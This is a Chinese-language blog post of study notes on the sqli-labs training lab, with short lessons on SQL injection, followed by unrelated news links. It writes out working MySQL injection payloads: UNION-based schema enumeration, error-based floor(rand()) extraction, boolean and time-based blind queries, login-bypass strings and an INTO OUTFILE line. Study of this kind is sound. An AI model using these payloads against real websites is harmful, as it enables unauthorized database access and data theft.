Sqli labs学习笔记
admin
2023-06-07 12:41:43
0

Lesson01:

        字符型注入

               地址栏加上 ?id=5' and '1'='1 测试通过

                    地址栏加上 ?id=5'  (此处可加上恶意sql语句)--+ 测试通过(注释的方法)   

       

Lesson02:

        数字型注入

                id=5-2 返回和 id=3一样的结果,说明是数字型的注入

                     id=2 (此处可加上恶意sql语句) --+


PS: 有的sql查询语句会在后边加上limit(0,1),只返回第一条有效的查询结果,在这里我们可以通过设置前一个正常的id的值无效,来使得最终结果来返回我们构造的语句的返回值。


Lesson03:

            id=5 and 1=1
                id=5 and 1=2   没有什么变化       

                id=3'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1


说明原来的sql的语句中有 ) , 闭合的方法是再添加一个)

                利用: 1.  id=1') and  ('1'='1

                           2.  id=1')  sql语句   --+


Lesson04:

    基于双引号的字符型查询,和lesson03差不多


    1.order by 查询字段数

    2. database() 查询当前数据库名字

    3.user() 当前用户

    4. information_schema.tables   存放所有的表名 (mysql)

   5.union select 1,table_name,3   from information_schema.tables where table_schema='security'  limit 4,1 --+ 

    这个是查询数据库里边有哪些表,使用limit语句来显示返回第几个查询结果


    6.  union select 1,column_name,3   from information_schema.columns where table_name='users'  limit 2,1 --+     查询users表中,各个列的名字(字段名)


    7.union select 1,group_concat(column_name),3   from information_schema.columns where table_name='users' and table_schema="security"  --+  

    也可以这样,使用group_concat(column_name)来返回所有的字段名



Lesson05&06:

        基于错误的注入:

and ( select 1 from (select  count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables  group by a)b)--+


rand() 获取0-1之间的一个浮点随机数

floor() 取地板操作

group by 根据...分组

concat() 字符串连接

count() 计数函数 

1.

(select  count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a 

这个表示给查询结果(select  count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))

取一个别名a

2.

(select  count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables  group by a)b

这个表示给查询结果(select  count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables  group by a)取一个别名b

3.

and ( select 1 from (select  count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables  where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables  group by a)b) --+

这一句就可以查询出数据表的名字....



lesson07:
   select * from Table into outfile '/路径/文件名'



Lesson08:

         基于bool的盲注:  

         

            substr(String , int x,  int y) 把字符串从x到y截取下来

            ascii( char )  返回assic码值


Lesson09&10:

         基于时间的盲注:   根据一些时间函数,来自控制结果的返回时间,以此来判断自己的推断是不是正确的,由于web界面的返回值始终是true,只能通过时间差来判断。

            sleep(n)  进程挂起n秒

            if(1,2,3)  如果1则2,否则3 

          and (select if(assic(substr(database(),1,1)) , sleep(5),NULL)  ) --+ 



 Lesson11&12:

get  post  注入

常用的“万能密码”:   ' or 1=1 -- -

                                   ') or 1=1  

                                    'or'='or'

         登录:  ' or 1=1 limit 0,1  #  密码随便输入就行

                          但是使用  --+ 来注释的时候不知道为啥 密码必须是 ' or 1=1 


lesson12    就是  (“input”) 这种类型的



 Lesson13&14:

                    基于错误的注入:

       lesson13               ‘) 注入语句#
 

mysql常见的系统函数及变量:

            user() 用户名 session_user() 连接数据库的用户名  database()数据库名   vsersion()版本

             curren_user 当前用户名   @@hostname主机名  @@port 端口  @@datadir 数据库路径

           @@basedir 安装路径  @@vsersion_compile_os 操作系统

 

Lesson15:

         1'  or  盲注


Lesson16:     

     盲注(时间)                     

       1") or sleep(1)

       1") or sleep(1)=0      (因为sleep函数的返回值是0)使用or的时候要注意





















1.
select username,password from tables where id='input' limit 0,1
   ' and 1=1 --+
   
   
2.
select username,password from tables where id=input limit 0,1



3.
select username,password from tables where id=('input') limit 0,1


4.
select username,password from tables where id=("input") limit 0,1

5.
?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b )--+


6.
1" --+

9.
?id=2'  and sleep(5)--+

10.
?id=2"  and sleep(5)--+
?id=2"  and if(database()='security',sleep(5),NULL)--+


11.
uname=ain' union select 1,database() -- -&passwd=admin&submit=Submit


13.
输入的类型是('input')
uname=') and (select 1 from (select count(*),concat(0x3a,0x3a,((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b )  -- -&passwd=admin&submit=Submit

相关内容

热门资讯

非常时刻,任正非突然亮相《新闻... 作者 | 布语发现没有,任正非最近在《新闻联播》中公开亮相了,仅仅10秒的镜头,信号却很不寻常。5月...
投喂狮子时观光车车门突然打开!... 5月21日,北京八达岭野生动物园猛兽区发生观光游览车车门意外开启事件,引发社会高度关注。据新京报报道...
重庆电视机安装费 如果是小米或者是索尼的电视机,在安底座的时候是不会收费的,但是如果是安装架子或者是墙壁的费用是大概会...
空调安装费是多少钱 空调安装费用是由多个因素决定的,包括空调的类型、安装位置、管路长度、安装人员等等。因此,空调安装费用...
通风管道安装费多少钱一平米 通风管道的安装费用会受到多种因素的影响,例如管道的材质、直径、长度、安装位置、安装难度等等。因此,很...
问一问欧普led吸顶灯坏了怎么... 您好,欧普led吸顶灯是知名的品牌,在市场上是非常常见的,而且欧普这个品牌在业界的口碑也是非常的好,...
led吸顶灯关了还微亮怎么解决 LED 吸顶灯关了还微亮可能是由以下原因引起的:1. 电源问题:灯具的电源可能存在漏电或电容放电等问...
“用戒指套住你洗碗时沾满泡沫的... 近日,福建福州地铁4号线车厢内的一组宣传标语引起不少乘客注意。网友发布的图片显示,标语和插图内容多围...
对标Reddit,Meta悄然... IT之家 5 月 24 日消息,Meta 公司悄然推出一款名为“Forum(论坛)”的独立群组应用。...
广西人大成立人工智能联络小组 ... 南宁5月24日电 (陈秋霞)5月23日,广西壮族自治区人大常委会涉侨工作人大代表联系点人工智能联络小...